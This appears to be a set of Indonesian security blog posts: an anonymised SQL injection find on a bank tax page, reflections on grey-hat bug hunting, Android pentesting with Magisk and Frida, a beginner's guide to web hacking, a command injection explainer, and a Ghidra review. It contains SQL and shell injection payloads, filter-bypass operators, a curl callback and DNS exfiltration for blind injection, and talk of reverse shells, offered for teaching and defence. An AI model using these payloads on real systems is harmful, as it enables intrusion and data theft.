Bug di sebuah bank

Ini cuma sekedar cerita ketika secara random saya menemukan bug di situs sebuah bank dengan skrip yang saya ceritakan di posting sebelumnya. Para bug hunter sangat menyukai berbagai writeup dari bug hunter lain, karena mereka jadi belajar: “apa sih bug yang bisa dieksploit” (kadang ternyata bug sederhana sekali) dan “kok bisa sih ketemu bugnya?” (kadang bagian ini lebih menarik).

Kadang saya menulis writeup yang super rumit (biasanya di https://tinyhack.com/), tapi kali ini saya akan memberikan bug super sederhana: SQL Injection. Cerita ini di kategori: “kok bisa ketemu bugnya?”. Writeup ini ditujukan untuk pemula.

Dimulai dari sebuah website yang butuh login. SQL injection tidak jalan di form login website ini. Lalu yang saya lakukan adalah “view-source”. Saya tidak berniat beneran membobol situs ini, jadi hanya akan berinvestasi waktu beberapa menit. Begitu view source terbuka, ada link ke file JS. Di dalam javascript ada banyak fungsi. Tapi yang langsung terlihat adalah yang memanggil file PHP lain, di antaranya:



Iseng saya buka URL ini (cektax.php) langsung dan hasilnya: tidak perlu autentikasi. Sekarang berikutnya tinggal masukkan SQL payload standar: “‘ or 1=1 — “, dan hasilnya keluar informasi pajak seseorang yang dibayarkan via bank tersebut. Dengan sqlmap bisa didapatkan daftar tabel-tabel yang lain.

Jadi pelajarannya untuk developer adalah:

  • Selalu cek apakah user sudah login (check session)
  • Hati-hati mendaftarkan URL di sebuah file JS apalagi yang bisa diakses sebelum login, karena akan memperluas point of attack

Dan untuk pentester:

  • Cek file-file yang bisa diakses dari login, termasuk juga direktori /js/
  • Lihat sekilas filenya apakah ada referensi ke file lain

Penutup

Tidak ada bounty untuk bug ini. Banknya melemparkan tanggung jawab ke pihak ketiga yang membuat aplikasi. Pihak ketiga mengucapkan terima kasih (setelah 3 minggu dipush oleh pihak bank untuk kontak saya), dan waktu ditanya: adakah bounty? tidak dibalas lagi.

Saya tidak akan menyebutkan nama banknya (malas kalau berurusan masalah hukum). Tapi meskipun demikian, setidaknya ada ilmu yang bisa dibagikan di situs ini. Dari informasi di atas siapa tau ada bug hunter lain yang menemukan bug serupa. Pihak thirdparty ini kemungkinan juga mendevelop aplikasi untuk bank lain, jadi ada kemungkinan yang lain akan menemukan bug serupa. Tapi jangan harap dapet bounty ya 😂.

Saya masih belum mendalami sistem proteksi data di Indonesia. Secara tidak langsung pihak bank tersebut membiarkan adanya kebocoran nasabah dalam kategori tertentu (pembayaran pajak lewat bank tersebut). Menurut saya kebocoran semacam ini seharusnya (kalau ada aturannya) dilaporkan oleh Bank ke Bank Indonesia. Atau mungkin Bank Indonesia bisa membuka jalur untuk para pentester agar bisa melaporkan bank-bank yang memiliki bug yang membocorkan data nasabah, supaya para Bank mau berinvestasi lebih banyak dalam bidang security.

Web dengan security lemah pasti ditemukan hacker

Ini merupakan cerita teknis dengan inti bahwa: jika website Anda lemah, pasti akan ada yang menemukan bugnya. Bug ini bisa ditemukan dengan berbagai cara, dan di artikel ini akan saya tulis berbagai caranya.

Google Dorking

Dengan menggunakan Google saja kita bisa menemukan banyak situs lemah. Google dorking adalah memakai parameter advanced di Google. Saya tidak akan memberikan contohnya querynya di sini walau mudah di cari di internet.

Jadi cara kerjanya secara sederhana seperti ini:

  • Ada webapp atau plugin atau komponen yang memiliki bug
  • Komponen ini memiliki ciri-ciri misalnya urlnya /abc/def/, atau memiliki teks “Powered By”

Dengan query yang tepat, kita bisa mendapatkan daftar semua situs yang memiliki bug seperti itu. Tentunya ini hanya bisa ditemukan jika website diindeks oleh Google.

Banyak perusahaan yang memiliki banyak subdomain yang tidak diindeks oleh Google, namun bukan berarti ini tidak bisa ditemukan.

Skrip Custom

Saya memiliki skrip custom untuk melakukan hal ini secara otomatis pada sebuah domain:

  • Scan semua subdomain (saya menggunakan skrip dari aquatone)
  • Screen cap masing-masing subdomain (dengan chrome headless)
  • Ambil header dari masing-masing subdomain
  • Buat laporan dalam 1 halaman

Skrip ini saya jalankan di sebuah server, dan saya berikan list of domains. Tiap hari saya bisa melihat subdomain baru apa yang ketemu dan apa saja isinya. Sistem ini tidak saya buat untuk bug hunting, hanya untuk pentesting supaya lebih tuntas.

Kenapa saya bercerita tentang sistem ini? banyak orang memiliki sistem sejenis. Dengan sistem ini:

  • Hampir semua subdomain bisa ditemukan
  • Dari tampilan website bisa langsung ditebak apakah ini aplikasi custom atau standar (misalnya aplikasi webmail standar)
  • Tampilan header menunjukkan server yang dipakai dan kadang informasi mengenai websitenya (apakah ada WAF, apakah memakai cloudflare, dsb)
  • Dari tampila dan website, kita bisa mendapatkan “feeling” apakah website ini lemah atau tidak

Perlu diperhatikan bahwa scanning semacam ini merupakan hal yang legal:

  • Pencarian domain menggunakan data publik dan melakukan query word list ke server DNS
  • Kita tidak menyerang server sama sekali, hanya melakukan request standar

Jenis Hacker

Ada beberapa tipe hacker di dunia ini:

  • Script kiddies yang main hantam saja semua website yang lemah
  • White hat yang hanya mencoba menyerang situs yang memang menjadi target (contoh: dalam pekerjaan pentesting atau website menyediakan bounty)
  • Gray hat: yang kadang melanggar hukum, tapi tidak berniat jahat (saya nggak mengarang istilah ini, ada di Wikipedia)

Keberadaan gray hat hacker ini menurut saya penting. Adanya orang-orang yang tanpa ijin mengakses website orang lalu memberitahukan masalah security, akan sangat membantu pemilik situs karena jika tidak ada gray hat hacker alternatifnya hanya ada dua:

  • Mereka perlu menyewa pentester yang harganya cukup mahal untuk menemukan bug itu
  • Mereka akan dihack oleh script kiddies atau blackhat hacker yang tidak peduli sama sekali

Hal yang penting yang perlu diperhatikan adalah: jika situs Anda lemah, pasti akan ada yang menemukan bugnya. Bug bisa ditemukan dengan salah satu cara di atas. Kemungkinan yang menemukannya adalah salah satu dari tiga jenis hacker tadi, dan ada kemungkinan kecil yang menemukan adalah programmernya sendiri.

Lalu bagaimana?

Dari sini ada beberapa hal yang bisa dilakukan:

  • Memperkuat security situs Anda, dengan memperbaiki program (source code review, dsb), menyewa pentester, membuat program bug bounty
  • Membuat rencana jika terjadi kebocoran data

Jika Anda tidak punya dana untuk pentesting, source code review, dsb maka:

  • bersiaplah situs Anda akan dihack
  • buatlah rencana jika ada gray hat hacker yang melaporkan bug (bisa sekedar hall of fame, sertifikat, swag)

Hacking dan Bounty

Beberapa hacker white hat sekarang ini bisa berkonsentrasi di situs-situs yang memang menyediakan bounty dan bisa hidup dari itu. Sementara di sisi lain ada banyak hacker black hat yang menjebol berbagai situs (yang biasanya tidak menyediakan bounty, atau menyediakan bounty kecil) lalu menjual jutaan account yang berhasil diretas.

Ada juga mereka yang di tengah-tengah. Kadang-kadang iseng berusaha menjebol situs (yang tidak punya program bounty khusus) lalu jika ketemu bug melaporkan ke pemilik situsnya. Situs ini bisa ditemukan dari banyak cara, misalnya:

  • hackernya memang memakai situs ini tiap hari
  • hackernya iseng mencari dengan google dork atau Shodan
  • aplikasinya sedang populer (karena masuk situs berita)
  • sedang menguji sebuah situs yang ternyata berhubungan dengan situs lain

Pemilik Situs

Dari sudut pandang pemilik situs, mungkin akan berat memberikan bounty: kenapa kamu berusaha masuk ke situs saya? siapa yang suruh? saya jadi harus mengeluarkan uang yang harusnya nggak keluar. Dari sudut pandang lain: ini kebetulan yang menemukan bug masih mau lapor, tidak menjual account ke dark web, pemilik situs tidak kehilangan pelanggan.

Analoginya mungkin seperti ketinggalan dompet (salah Anda, kenapa tidak waspada, atau dalam kasus website: salah Anda kenapa tidak aman?). Jika ada yang menemukan dan semuanya kembali utuh, apakah Anda akan memberikan reward pada yang menemukan?

Sebagai catatan: tidak semua situs memberikan reward berupa uang bagi yang menemukan bug di situsnya/appnya. Penghargaan paling sederhana adalah: hall of fame, berupa daftar “orang-orang yang telah berkontribusi pada keamanan situs ini”. Alternatif hall of fame adalah sertifikat kertas. Berikutnya adalah swag: barang-barang kecil seperti stiker, kaos, dsb. Sebagian memberikan sesuatu yang bernilai seperti uang misalnya voucher belanja.

Penemu Bug

Di sisi lain: jika Anda adalah orang yang menemukan dompet, apakah akan memaksa minta reward? Mungkin sebagian merasa tidak perlu dan ikhlas 100%, sebagian lagi ikhlas tapi agak menggerutu: orang kayak (bank, payment gateway, dsb) kok pelit, sebagian merasa minimal perlu diberi ongkos pulang. Lalu ada juga yang sebagian benar-benar memaksa minta uang (kalau ini kategorinya sudah masuk black hat hacker).

Jika kita benar-benar taat hukum: Mencari bug di situs yang tidak menyediakan bounty sebenarnya melanggar hukum. Tapi di sisi lain: jika situsnya memiliki keamanan yang lemah dan tidak ada white hat hacker yang mencoba masuk karena takut hukum, maka pasti akan ada hacker black hat yang akan masuk (jika security lemah, maka hanya masalah waktu). Dan mereka pasti akan berusaha mencari keuntungan, dengan banyak cara:

  • memeras
  • menjual account yang bocor
  • memakai hasil hack (misalnya account) untuk masuk lebih dalam ke sistem lain (karena biasanya passwordnya sama)

Mengenai Ilmu

Jika menemukan bug dan diberi bounty saya bersyukur, jika tidak pun tidak apa-apa. Saya hanya akan menjadikan sebagai tulisan, minimal ada gunanya: orang lain tahu supaya tidak membuat bug yang sama. Orang security juga jadi belajar bug apa saja yang ada.

Sudah banyak contoh tulisan di mana saya tidak dibayar sama sekali dan saya tuliskan ilmunya. Beberapa contohnya:

Para pemilik situs tersebut tidak keberatan namanya saya sebutkan dan bugnya memang sudah diperbaiki.

Penutup

Lalu bagaimana dengan situs tertentu yang tidak mau dipublish, tapi juga tidak memberi bounty? Saya tidak bisa memaksa mereka memberi bounty atau memberi ijin menerbitkan namanya. Yang bisa saya lakukan:

  • Membuat posting anonim (contohnya seperti ini)
  • Lain kali jika ada hacker lain yang bertanya ke saya mengenai situs tersebut, saya akan menjawab jujur: websitenya nggak ngasih bounty, jadi terserah aja mau ngapain

Biasanya saya akan menjauhi situs-situs seperti itu di lain waktu. Contohnya: saya pernah belanja komponen elektronik, ternyata data CC bisa bocor. Saya beritahu ke pemilik situs, lalu dipatch dan tidak ada reward sama sekali. Sekarang saya tidak pernah lagi belanja di situ, dan jika ada yang bertanya, saya akan menyarankan untuk *tidak belanja di situ*.

Sama halnya dengan bank atau layanan lain. Jika memang pengalaman saya buruk, saya akan jujur mengatakan: IT-nya bank X nggak bagus. Jika ada yang lain yang menemukan bug yang lain, ya terserah mereka mau ngapain.

Magisk, Frida, dan XPosed Framework

Magisk merupakan aplikasi root dan systemless interface untuk Android. Saat ini saya selalu memakai Magisk di semua device yang saya gunakan untuk pentesting.

Singkatnya dengan Magisk ini:

  • Kita bisa mendapatkan akses root
  • Akses root tidak terdeteksi aplikasi apapun, termasuk juga oleh Safety Net dengan fitur Magisk Hide (jadi saya bisa tetap menjalankan Pokemon Go)
  • Kita bisa memakai Frida untuk memanipulasi program

Instalasi Magisk

Magisk hanya bisa diinstall dengan mudah pada device yang bootloadernya unlocked. Karena masalah bootloader ini, saya sekarang ini memakai HP Xiaomi Poco F1, dan tidak memakai merk lain seperti Huawei yang tidak mengijinkan bootloader unlock.

Jadi hal pertama yang harus dilakukan adalah unlock bootloader. Caranya berbeda di tiap merk HP, dan kadang harus mendaftar dan menunggu sekian hari baru bisa dilakukan. Jika sudah, kita bisa menginstall software custom recovery TWRP baik secarapermanen maupun sementara. Saya lebih suka cara sementara dengan “fastboot boot twrp*img” supaya gampang mengupdate OS Android.

Setelah TWRP terinstall, kita bisa mempush file installer magisk ke SD card dengan adb (adb push Magisk*zip /sdcard/). Kemudian di TWRP kita bisa memilih install, lalu memilih installer Magisk. Setelah itu reboot.

Magisk Manager

Untuk memastikan aplikasi lain tidak bisa mendeteksi magisk, aktifkan setting: “Hide Magisk Manager”. Agar sebuah aplikasi tidak melihat magisk sama sekali, centang aplikasi tersebut di menu “magisk hide”. Kita bisa juga menginstall banyak modul Magisk, biasanya gunanya untuk mengubah atau mengaktifkan fitur tertentu. Saya sendiri tidak pernah memakai berbagai modul yang ada karena kebanyakan akan terdeteksi oleh Safety Net.

Frida

Frida merupakan software instrumentasi untuk reverse engineering dan riset security pada umumnya. Kombinasi Magisk dan Frida ini sangat cocok untuk pentesting. Dengan Magisk Hide aplikasi apapun bisa dijalankan, ini penting karena aplikasi yang saya test biasanya tidak mau jalan jika device sudah diroot. Dengan akses root, saya bisa menjalankan. Secara sederhananya: dengan Frida saya bisa mengintercept hampir semua API call di Android. Dengan Frida saya bisa melakukan hal-hal berikut:

  • unpinning SSL
  • melog method call (biasanya untuk mempelajari enkripsi yang dipakai sebuah aplikasi)
  • mengganti method tertentu

Instalasi frida dilakukan di PC dengan Python (pip install frida). Di sisi Android kita perlu mempush server ke /data/local/tmp lalu menjalankan server tersebut sebagai root. Sebenarnya ada juga cara lain agar Frida dijalankan tanpa root, tapi cara ini cukup merepotkan.

Saat ini ada aplikasi objection yang memakai Frida yang memudahkan kita melakukan pentesting. Objection ini bisa dipakai untuk kebanyakan aplikasi, sayangnya aplikasi yang saya test sering kali tidak berjalan dengan baik dengan objection jadi sering kali yang dilakukan adalah:

  • membuka APK dengan apktool dan jadx
  • mempelajari titik yang perlu diintercept
  • membuat skrip manual untuk target saat ini

XPosed Framework

Sebelum memakai Magisk + Frida, saya biasanya memakai XPosed, tapi masalahnya XPosed ini bis terdeteksi oleh safety net (artinya: saya tidak bisa main Pokemon Go di HP tersebut dan beberapa aplikasi banking juga tidak jalan). Sekarang ini saya kadang masih memakai XPosed juga tapi di HP lain (bukan HP utama). Alasannya masih memakai XPosed adalah: karena sudah terbiasa dan modul customnya lebih banyak.

Sebagai informasi, saat ini tersedia juga edxposed yang bisa menjalankan sebagian modul XPosed di atas magisk, tapi tidak semua modul berjalan dengan bai dan kadang terdeteksi aplikasi tertentu. Saat aplikasi ini ditulis, Snapchat bisa mendeteksi edxposed.

Penutup

Demikian penjelasan singkat mengenai sebagian tool yang saya pakai untuk pentesting aplikasi Android. Di waktu lain saya akan menjelaskan lagi aplikasi ekstra yang saya pakai.

Cara mulai belajar hacking web

Ini adalah salah satu pertanyaan yang banyak ditanyakan ke saya: dari mana memulai kalau hanya ingin belajar hacking web (pentest atau mengejar bug bounty aplikasi web). Daripada saya menjawab berulang-ulang, saya tuliskan saja di posting ini. Jawaban ini bukan satu-satunya jawaban, ada banyak jawaban lain di Internet. Jawaban inipun mungkin bukan yang paling benar, jadi bacalah juga jawaban orang lain sebelum memutuskan.

Tujuan

Hal paling utama adaalah: apa sih tujuannya ingin bisa hacking web? Contohnya:

  • untuk bug hunting (bug bounty)
  • untuk pentesting
  • untuk mengetes keamanan aplikasi web buatan sendiri
  • untung tujuan jahat (defacing, dump database, dsb)

Tergantung masing-masing tujuan, caranya belajarnya bisa sangat berbeda. Untuk penjelasan berikutnya, saya akan menggunakan contoh dua bug umum:

  • IDOR (Indirect Direct Object Reference)
  • SQL injection

Kedua bug tersebut biasanya relatif mudah ditemukan dan mudah dipelajari. Remaja umur 19 tahun yang mendapatkan 1 juta dollar (total selama 3 tahun bug hunting) menyatakan bahwa bug favoritnya adalah IDOR karena katanya “mudah ditemukan dan hasilnya besar”.

Dalam bahasa sederhana, dengan IDOR kita bisa melihat data orang lain yang seharusnya tidak bisa kita lihat. Dengan SQL injection kita bisa melihat/mendump data dalam database. Sebagai catatan, ada banyak varian bug IDOR dan SQL Injection yang tidak mudah ditemukan

Jika tujuan Anda adalah bug hunting untuk bug bounty, maka belajar beberapa teknik serangan saja sudah cukup (misalnya dua yang saya sebutkan di atas: IDOR dan SQL injection). Hasil pelajaran ini langsung dicobakan ke berbagai situs yang menyediakan bug bounty. Jika kita beruntung, maka bisa berhasil menemukan bug dan dapat uang. Banyak pemula (catatan: mereka sendiri yang mengaku pemula di-writeup yang diterbitkan) yang beruntung menemukan bug di Google atau Facebook walau baru mengenal satu dua teknik saja. Tapi perlu saya beri peringatan: jangan berharap terlalu besar, jumlah bug hunter saat ini sudah banyak, jadi kebanyakan bug sederhana sudah ditemukan orang lain.

Dalam kasus bug hunting, mungkin saja situs yang kita test punya bug lain (misalnya command injection), tapi karena belum kenal teknik itu maka tidak ketemu bug. Dan ini tidak apa-apa, karena bug itu akan ditemukan oleh bug hunter lain.

Jika tujuannya hanya ingin hacking web untuk defacing, maka belajar beberapa teknik saja juga sudah cukup. Asalkan bisa masuk dan mengganti file. Tapi tentunya hal yang dikuasai berbeda dengan tujuan bug hunting. Jumlah situs target lebih banyak (karena ada banyak situs yang tidak memberikan bounty). Tapi ini adalah hal yang illegal, jadi saya sangat menyarankan Anda tidak melakukannya.

Ini berbeda jika tujuannya adalah pentest: kita perlu tahu semua (atau setidaknya sebagian besar teknik security). Dalam pentest kita diberi target, lalu diminta menemukan semua bug yang mungkin ada di situs tersebut. Artinya kalau kita hanya tahu IDOR dan SQL injection, tapi ternyata situsnya punya bug lain seperti XSS atau command injection, kita tidak bisa menemukannya. Dalam hal ini client bisa kecewa kalau ternyata setelah selesai pentest, ada penyerang yang bisa dengan mudah masuk.

Memulai tanpa mengerti

Beberapa bug kadang bahkan bisa ditemukan tanpa paham dasarnya sama sekali. Jika ada URL memiliki format seperti ini:

http://example.com/user/profile.php?id=1234

Dan jika kita ganti 1234 menjadi 1235 lalu muncul profil orang lain, maka ini sudah ketemu bug IDOR. Tentunya jika itu halaman publik, maka bukan termasuk IDOR, hanya jika seharusnya user yang login yang bisa melihat page miliknya tapi malah bisa melihat page orang lain (atau secara umum bisa melihat data apapun yang bukan hak kita). Tanpa tool apapun (selain browser) bug IDOR jenis ini bisa ditemukan (terutama jika ini terjadi pada request HTTP GET).

Di abad 23, orang masih mencoba SQL Injection (Sumber: Star Trek Discovery Season 2 Episode 8)

Sekarang contoh lain untuk URL yang sama, jika kita masukkan tanda petik di belakangnya (atau %27) dan keluar SQL error, maka itu ada bug SQL Injection. Eksploitasi bug sederhana seperti itu bisa dilakukan dengan sqlmap, kira-kira seperti ini:

python sqlmap.py -u http://example.com/user/profile.php?id=1234

Tentunya kadang ada proteksi tertentu sehingga teknik super serderhana seperti ini tidak jalan. Ini hanya contoh bug sangat sederhana tapi masih cukup sering ditemukan.

Tidak ada salahnya memulai dengan cara seperti ini, dan kadang walau tidak mengerti sudah bisa ketemu bug dan bahkan mendapatkan uang. Tapi tentunya ini saja tidak cukup, karena lama-lama tidak akan ketemu lagi bug sederhana seperti ini.

Banyak defacer yang menghack ribuan situs dengan cara yang sama, dan mereka hanya tahu beberapa teknik security saja. Dari sudut pandang tertentu ini bisa dibilang hebat (“bisa hacking ribuan site”), tapi dari sudut pandang lain: Anda sebaiknya tidak menyewa orang semacam ini untuk melakukan pentesting web Anda. Ilmu yang mereka miliki kadang hanya itu-itu saja, dan tidak bisa menemukan bug lain yang mungkin lebih parah.

Memulai dengan memahami

Pendekatan lain yang lebih baik (menurut saya) adalah dengan memahami. Secara umum yang perlu dilakukan untuk belajar hacking web app adalah:

  • belajar teknologi web (HTTP, HTML, JavaScript, CSS, dan teknologi server seperti PHP)
  • belajar security
  • latihan

Semua ini bisa dilakukan bertahap. Artinya tidak perlu langsung tahu dan mengerti semua tag HTML, atau mengerti semua tentang Javascript. Di awal pengetahun dasar saja sudah cukup, nanti jika ingin bisa berbagai attack yang lebih advanced maka perlu pemahaman yang lebih lagi mengenai teknologi web.

Jadi jika masih benar-benar blank, minimal belajarlah mengenal apa itu HML, JavaScript, sedikit CSS, dan teknologi sisi server. Salah satu teknologi sisi server termudah saat ini adalah PHP, tapi tidak harus itu yang dipelajari, bahkan semakin banyak yang dipelajari semakin baik. Cobalah ikuti tutorial untuk membuat aplikasi database sederhana yang memakai session (ada bagian login, logout, tampilkan data dari database).

Untuk developer yang ingin belajar mengamankan aplikasi buatannya, maka dasar-dasar biasanya sudah dikuasai, jadi bisa langsung belajar mengenai berbagai masalah security web. Ini bisa dimulai dengan membaca OWASP Top 10 lalu dilanjutkan membaca jenis serangan lain di situs tersebut.

Jika ingin lebih serius, pendekatan lain yang bisa ditempuh adalah mengambil sertifikasi seperti CEH, OSCP atau yang lain. Biasanya ada materi pelajaran yang harus diikuti sebelum mendapatkan sertifikasi security tersebut. Orang yang memiliki sertifikasi tidak dijamin jago (apalagi ada yang memakai joki), tapi minimal mereka pernah mendengar dan mengenal berbagai masalah security.

Latihan yang legal bisa dilakukan dengan mensetup berbagai aplikasi yang vulnerable (mengandung bug). Saat ini ada damn vulnerable web application (DWVA) sebuah aplikasi web yang sengaja dibuat banyak bugnya untuk dipakai latihan (ada banyak varian lain selain DVWA ini). Tentu saja kita bisa menginstall sendiri Drupal atau WordPress versi lama. Alternatif lain adalah dengan mengikuti berbagai CTF yang ada (dalam konteks ingin belajar web hacking, selesaikan saja kategori webnya).

Buku

Saya bisa saja mendaftarkan banyak buku dan website untuk belajar, tapi nanti malah jadi bingung harus mulai dari mana. Saya putuskan mendaftarkan 3 saja buku untuk memulai. Selain buku, berbagai website juga bisa dengan mudah dicari untuk berbagai topik khusus.

Untuk yang ingin terjun langsung ke bug bounty, buku Web Hacking 101 sangat mudah dibaca. Isinya sangat praktis, tidak banyak teori. Berbagai contoh temuan yang real (laporan nyata yang pernah menghasilkan uang) terdaftar di buku itu.

Di sisi lain buku Tangled Web memberikan teori yang cukup dalam dari dasar. Dengan membaca buku ini, kita jadi tahu cerita keseluruhan masalah security web. Saya menyarankan ini untuk yang sudah menjadi web developer.

Buku bagus yang membahas dari dasar sampai cukup detail tapi tetap praktis adalah Web Security a Whitehat Perspective. Isi pembahasannya serupa dengan Tangled Web tapi lebih detail. Misalnya kadang sampai konfigurasi nginx-nya juga diberitahu.

Penutup

Semoga artikel ini cukup menjawab bagi orang yang ingin memulai belajar hacking web. Seperti judulnya ini hanya car memulai saja. Biasanya kalau sudah memulai dan mencoba, berikutnya akan tahu sendiri harus belajar apa. Atau jika masih bingung ya bisa terus membaca writeup berbagai bug bounty.

Ilmu web security pada akhirnya akan berhubungan dengan banyak ilmu security lain jika kita melakukan pentesting. Misalnya kadang dari bug web kita bisa mendapatkan RCE (remote command execution), di situ kita bisa mencari jalan agar bisa masuk ke komputer lain. Dalam hal ini ilmunya sudah di luar scope hacking web, tapi masih masuk dalam scope pentesting. Atau kadang kita bisa mendapatkan source code server atau mobile app, dari situ berarti kita perlu bisa membaca kode (audit source code juga scopenya di luar hacking web, tapi masih masuk dalam scope pentesting).

Mengenal command Injection Attack

Dalam tulisan ini saya akan membas attack “command injection” atau dikenal juga sebagi “OS command injection”, di mana attacker bisa menyisipkan perintah untuk dieksekusi. Seperti saya contohkan dalam beberapa artikel saya dalam kategori CLI, banyak program CLI yang bisa melakukan hal kompleks dengan sangat mudah. Kadang seseorang akan memanggil program CLI eksternal daripada harus coding sendiri fungsionalitas yang rumit. Contohnya: untuk resize satu image dengan imagemagick bisa dilakukan dengan satu perintah:

convert -resize 50% input.jpg output.jpg

Dan ini bisa dipanggil dari program lain, misalnya PHP dengan:

system("convert -resize 50% input.jpg output.jpg")

Atau python dengan

import os
os.system("convert -resize 50% input.jpg output.jpg")

Atau bahasa-bahasa lain dengan cara serupa. Seperti halnya SQL injection, jika kita tidak melakukan “shell escaping” maka akibatnya bisa fatal. Contoh sederhana lain yang ada pada banyak router adalah penggunaan perintah ping via web interface. Di balik layar, yang dilakukan adalah:

system("ping -c 3 $target")

Jika kita bisa memasukkan apapun dalam $target, tanpa verifikasi, maka kita bisa memasukkan: “localhost; ls”, hasilnya: command ping localhost dieksekusi, lalu ls dieksekusi. Dalam kasus ini biasanya output ls akan muncul di layar.

Contoh command injection pada router yang saya miliki

Command injection ini bisa juga pada nama file. Jadi di contoh sebelumnya mengenai resize gambar:

system("convert -resize 50% $input tmp.jpg")

Jika kita bisa memberikan nama file apa saja, maka injection juga bisa terjadi (misalnya nama filenya “test;ls.jpg”). Dalam kasus seperti ini kita tidak bisa melihat output perintah (blind injection). Ada trik tertentu untuk eksfiltrasi output dalam kasus blind injection.

Perlu dicatat bahwa filtering beberapa karakter saja tidak cukup. Contohnya jika semicolon (;) difilter, maka masih ada beberapa cara lain untuk eksekusi perintah, misalnya:

  • memakai “|| perintah” (jika perintah pertama gagal, eksekusi perintah kedua)
  • memakai “&& perintah” (jika perintah pertama gagal, eksekusi perintah kedua)
  • memakai “$(perintah)” atau “`perintah`” (memakai backtick) untuk eksekusi sub command

Ada berbagai trik yang berhubungan dengan command injection, tapi pada dasarnya sama: kita perlu memahami penggunaan shell. Contoh kasus lain bisa dibaca di posting saya yang berbahasa inggris mengenai eksploitasi Firewall PAN OS.

Blind Command Injection

Jika output sebuah perintah tidak bisa dilihat, maka ada beberapa hal yang bisa dicoba. Pertama adalah konfirmasi bahwa memang ada bug dengan melakukan koneksi keluar menggunakan wget/curl. Misalnya kita mengeksekusi:

curl example.com/mytest.php

Jika kita liat ada hit terhadap URL tersebut, maka kita tahu bahwa command berhasil dijalankan. Jika berhasil, maka kita bisa mendownload dan menjalankan apa saja, termasuk juga connect back shell yang akan melakukan koneksi ke host kita.

Masalah dengan pendekatan di atas adalah adalah: kadang di beberapa host koneksi keluar tidak diijinkan. Alternatif lain adalah dengan DNS exfiltration

ping namahostrahasia.example.com

Dalam kasus ini kita harus mensetup tool untuk memberikan notifikasi jika host tersebut diresolve. Setelah itu diperlukan kreativitas untuk mengubah output menjadi dns request.

Pencegahan

Setiap command harus diescape supaya tidak dinterpretasikan oleh shell. Misalnya ; menjadi \;. Fungsi untuk escape ini bisa dicek di masing-masing bahasa yang dipakai.

Beberapa command juga memiliki opsi yang berbahaya yang bisa diaktifkan dengan -opsi atau –opsi. Hal ini perlu ditangani khusus, atau untuk tool yang berbasis GNU bisa memakai “–” untuk menghentikan parsing option. Contoh kasus seperti ini:

rm $namafile

Jika nama file adalah “-rf data”, maka seluruh data akan dihapus. Tapi jika kita memakai:

rm -- $namafile

Maka “-rf” tidak dianggap sebagai option, tapi sebagai nama file.

Penutup

Demikian tulisan singkat mengenai command injection. Banyak detail yang tidak saya bahas di sini karena tergantung pada detail targetnya. Pada SQL injection, berbagai command yang kita berikan tergantung pada DBMS yang kita pakai dan hak akses DBMS tersebut. Pada command injection ini juga bergantung pada beberapa hal:

  • Sistem operasi (perintah Windows berbeda dengan Linux dan sering kali banyak hal yang berbeda dengan FreeBSD atau OS lain)
  • perintah yang tersedia (jika eksploitasi dilakukan pada router, perintah yang tersedia biasanya dari Busybox dan bisa terbatas tergantung opsi compilenya)
  • Input filtering. Kadang ada filtering yang tidak tuntas, dan kadang teknik yang berbeda perlu dipakai

Ghidra Tools Reverse Engineering dari NSA

Baru-baru ini NSA (National Security Agency) Amerika merilis tools RE baru bernama Ghidra yang gratis. Rencananya ini akan open source, tapi saat ini repositorynya masih kosong. Ghidra ini merupakan saingan IDA Pro yang saat ini harganya sangat mahal. Sebagai informasi: harga license IDA Pro paling murah ratusan USD (versi starter edition), sampai totalnya puluhan ribu USD jika kita ingin paket lengkap (IDA Pro dengan semua plugin decompilernya).

Ghidra

Tulisan kali ini merupakan kesan pertama memakai Ghidra. Perlu dicatat bahwa pekerjaan utama saya bukan reversing. Ini sekedar hobi buat saya. namun demikian saya sudah melakukan reversing beraneka hal baik yang populer seperti Windows/Linux/Mac/Android/iOS maupun berbagai target yang unik, misalnya hardware Pokemon Go Plus (berbasis ARM), berbagai challenge Flare-On (campuran), Challenge BEVX (Arm), dan RHME (AVR).

Sebelum memakai Ghidra ini saya sudah mencoba berbagai tool disassembler/decompiler, termasuk juga: IDA Pro, retdec, radare (dan interface GUI-nya: Cutter), Hopper, Binary Ninja. Bahkan untuk menyelesaikan challenge RHME, saya memakai objdump + editor teks karena tidak ada tool yang bagus untuk reversing AVR. Secara singkat: fitur Ghidra ini sangat bagus dibandingkan berbagai tool yang sudah pernah saya coba.

Ghidra ditulis dalam bahasa Java dengan GUI Swing dan tentunya memakai beberapa library native juga. Perlu diperhatikan: Ghidra ini butuh JDK11, jadi ketika mendownload Ghidra, jangan lupa sambil download JDK-nya dari Oracle.

Daftar prosessor yang didukung Ghidra. IDA Pro mendukung lebih banyak prosessor, tapi tidak semuanya bisa dekompilasi, sedangkan Ghidra bisa mendekompilasi apa saja

Hal pertama yang akan saya bahas adalah decompilernya. Ada banyak tool decompiler di dunia ini, tapi selain IDA Pro, hasilnya banyak yang kacau dan sangat menyesatkan. Hasil dekompilasi Ghidra ini sangat bagus, dan dibandingkan IDA Pro: dia mendukung dekompilasi semua arsitektur yang disupport (IDA hanya mendukung: X86 32/64 bit, ARM 32/64 bit, PowerPC 32/64 bit). Contohnya jika kita ingin melakukan reverse engineering router (banyak yang memakai MIPS) maka dekompilasi bisa dilakukan.

Dekompilasi kode MIPS dengan struktur flow-control yang kompleks

Untuk arsitektur 8 bit yang saya coba, dekompilasi bisa dilakukan, tapi sering kali tetap sulit dibaca manusia. Jadi dengan adanya decompiler ini tidak berarti seorang pemula tiba-tiba akan bisa melakukan RE apa saja.

Dekompilasi challenge AVR Secret Sauce dari RHME

Challenge Flare On kadang memberikan soal DOS (X86) 16 bit. IDA Pro tidak mendukung dekompilasi kode 16 bit, tapi Ghidra bisa melakukannya. Sayangnya tool ini tidak memahami parameter untuk interrupt. Untungnya decompilernya memiliki kelebihan lain: jika kita mengklik pada sebuah instruksi, maka instruksi yang bersangkutan akan dihighlight di bagian disassembly, jadi kita bisa melihat secara manual parameter untuk sebuah interrupt.

Ghidra ini mendukung sistem plugin, jadi menambahkan support processor baru dapat dilakukan dengan relatif mudah, setidaknya itu kesan pertama ketika membaca dokumentasinya. IDA Pro juga memiliki SDK, tapi SDK-nya sangat ribet. Di masa depan sepertinya akan ada semakin banyak prosessor baru yang didukung.

